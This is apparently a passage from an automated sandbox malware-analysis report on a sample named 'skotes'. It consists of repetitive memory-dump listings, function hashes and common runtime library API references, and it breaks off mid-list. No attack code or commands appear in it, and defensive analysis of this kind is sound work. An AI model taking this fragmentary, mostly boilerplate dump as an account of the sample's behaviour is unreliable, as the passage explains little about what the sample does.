Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e136a1e8281d8569eb65c8ed3fdd1588c4c16d11718b11664397f40c9fb132cf
Instruction ID: 8594b81e0442ec20e3b9a4ea522cbed3ea2289e2e6fed8276b5f7e273a940584
Opcode Fuzzy Hash: e136a1e8281d8569eb65c8ed3fdd1588c4c16d11718b11664397f40c9fb132cf
Instruction Fuzzy Hash: 792250B3F515144BDB4CCB9DDCA27EDB2E3AFD8218B0E803DA40AE3345EA79D9158644

Function 002A7049 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e67fc38b1984250fa5bdaf386c548e508d4fcdccea6a073367e1092740638b0
Instruction ID: 721dfef83b0f756221999ee3ac04aa6f2499ef517a52d965594f26d6a6261073
Opcode Fuzzy Hash: 9e67fc38b1984250fa5bdaf386c548e508d4fcdccea6a073367e1092740638b0
Instruction Fuzzy Hash: BEB15E31624605DFDB14CF28C886B657BE0FF46364F258698E899CF2A1C735E9A2CF44

Function 00264B30 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdbff94a1d5822a52db614dba49e360dff7d2c1e542b5ff3af940fa2cb0d01db
Instruction ID: 6119aaee65c8b3ccdb5673beda6ee222545289604682cb3fe65ca90d4b79f7e1
Opcode Fuzzy Hash: bdbff94a1d5822a52db614dba49e360dff7d2c1e542b5ff3af940fa2cb0d01db
Instruction Fuzzy Hash: 2A812470E10246CFDB15DF68D890BEEBBF5FB1A300F15026AD890A7352C7359999CBA0

Function 002A78BB Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0809d8888177e7e12b398d355384e9589ac409e8de16f44dc5aa9e3f42983800
Instruction ID: 07316f6453f3dc239555b07c4813ca50a13e110711cf5da1af9a4e04b8349869
Opcode Fuzzy Hash: 0809d8888177e7e12b398d355384e9589ac409e8de16f44dc5aa9e3f42983800
Instruction Fuzzy Hash: 4C21B673F2083947770CC47E8C5627DB6E1C78C641745823AE8A6EA2C1D968D917E2E4

Function 002A779B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ef21adb2b6385c7a90f80f0ac6a269275ea90fc79a3106dd7d0eb4cf5cbd734
Instruction ID: 11a3196af3703086386eb0cd34c310e1c666a54f9f7e9a8dcccb76213b40440e
Opcode Fuzzy Hash: 8ef21adb2b6385c7a90f80f0ac6a269275ea90fc79a3106dd7d0eb4cf5cbd734
Instruction Fuzzy Hash: 50118633F30C255B675C816D8C172BAA6D2EBD825071F533AD826E7284E9A4DE23D290

Function 002A8860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 704a9d2daed1ecf2a43c3765ce087f6e2049a51a4c5c549bd00540e1a93db367
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: CF115E7722014B4BE6048E3DC8B86BBE795EBC73217AD437AC1414B748CE2AD8719500

Function 0029652B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c3cace702aaac2e035fa43eb8c3f76245cf2e0dbd355f6a02060665b67ec862
Instruction ID: 10b3db6eabe9b2525f88c405ee443a9071096a8c432c767225202c64526dcced
Opcode Fuzzy Hash: 7c3cace702aaac2e035fa43eb8c3f76245cf2e0dbd355f6a02060665b67ec862
Instruction Fuzzy Hash: 9CE0C230061208AFCF367F19D81DE493BAAEF51785F424811FC285A222CB35EEA1DAC0

Function 0029A302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: c95adac215bc5cca0506ef7b0c26774d34d25cf8979c41d5149a31ce75e40678
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 6CE08C32921268EBCB15DF98D90498AF3ECEB49B00B650096F901D3150C270DE00CBD4

Function 00294840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00294877
___except_validate_context_record.LIBVCRUNTIME ref: 0029487F
_ValidateLocalCookies.LIBCMT ref: 00294908
__IsNonwritableInCurrentImage.LIBCMT ref: 00294933
_ValidateLocalCookies.LIBCMT ref: 00294988

Strings

S9), xrefs: 00294925, 0029492E, 0029493F
csm, xrefs: 0029491D

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9)$csm
API String ID: 1170836740-1671259560
Opcode ID: 6da33c84e6286e33b370fccd52f0243116dae77d58586ba1c10d00186fc4ac88
Instruction ID: 4953f2f4b996852e6327c5737be0f1315370df7b6bfd885c0edf92224c5dfe6d
Opcode Fuzzy Hash: 6da33c84e6286e33b370fccd52f0243116dae77d58586ba1c10d00186fc4ac88
Instruction Fuzzy Hash: DA51F830A202099BCF10EF68DC84EAF7BB5BF45328F148155E8199B352D732D926CB91

Function 00262EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00262F5F
__Mtx_unlock.LIBCPMT ref: 00262FCC
__Cnd_broadcast.LIBCPMT ref: 00262FE3
__Mtx_unlock.LIBCPMT ref: 002630F5
__Mtx_unlock.LIBCPMT ref: 0026319B

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 1b26e162344ebff97358b66d33807952a409f493aa1d79cf21b002afa0bbbb03
Instruction ID: de4089cf581e5e79145c0f9cd60ce5ae1405010e3e8a5f1953a7e9882e6d18f5
Opcode Fuzzy Hash: 1b26e162344ebff97358b66d33807952a409f493aa1d79cf21b002afa0bbbb03
Instruction Fuzzy Hash: 99A1D1B0A21206DFDB20DF74C844B9AB7B8FF15310F148169E819D7681EB31EA68CBD1

Function 0029F35F Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0029F3A3

Strings

,m), xrefs: 0029F367, 0029F49B
8",, xrefs: 0029F44B
`',, xrefs: 0029F375

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: ,m)$8",$`',
API String ID: 3903695350-3392527274
Opcode ID: a0d0b7e48f0fbb6f630c2756c532e5baea8aa7e834e3b1323b4d753f8f8c451b
Instruction ID: f2a262a16d700fbb62f9a488abce0d8a3d88fcddeca95aa38b8347de90daa4c8
Opcode Fuzzy Hash: a0d0b7e48f0fbb6f630c2756c532e5baea8aa7e834e3b1323b4d753f8f8c451b
Instruction Fuzzy Hash: 87316732620302DFEFA0AE39DA45B5B73E8EF00352F10443AE449D6595DE74E8A08B65

Function 0029CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0029CC66

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 66550e2d0133cd2fa17909573d2ddcac394c55d298103f849a1d3249cd16b233
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 41B11472D242869FDF15CF28C8817AEBFE5EF49340F3441AAE895EB242D6348D11CB60

Function 0027BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0027BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0027BBE4
_xtime_get.LIBCPMT ref: 0027BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0027BC13

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 57f723546a1fe8efed36185f8cc5dfd58e71d9d077d365e8aeeecb575e10b49b
Instruction ID: ce01dd7c2ccb0c5ca3eb3084e8809487f45db4fb1b39e7d421a1f5449e355e02
Opcode Fuzzy Hash: 57f723546a1fe8efed36185f8cc5dfd58e71d9d077d365e8aeeecb575e10b49b
Instruction Fuzzy Hash: 85211D71A10119AFDF01EFA4DC859BEB7B9EF48710F20801AFA05B7251DB709D519BA1

Function 0026E360 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0026E4F9

Strings

L1,, xrefs: 0026E394
invalid stoi argument, xrefs: 0026E4F4

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_
String ID: L1,$invalid stoi argument
API String ID: 909987262-1913368448
Opcode ID: 3bcc1e72ed3d1d4049075d5b26abc4d759db59391ef3e9731a6782207e188657
Instruction ID: 6c96414fdb8068d79f618bff6974caa6cd2783ef202eb7460b80fe34bb0fdc2c
Opcode Fuzzy Hash: 3bcc1e72ed3d1d4049075d5b26abc4d759db59391ef3e9731a6782207e188657
Instruction Fuzzy Hash: 4CF096725203109FDB34AB68AC0AE5733A8EB49710F558935FD1893251EB70B960CAA3

Analysis Process: baacd96df2.exePID: 7936, Parent PID: 7264COMMON

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	13.9%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6BF235A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6BFAF688,00001000), ref: 6BF235D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6BF235E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6BF235FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6BF2363F
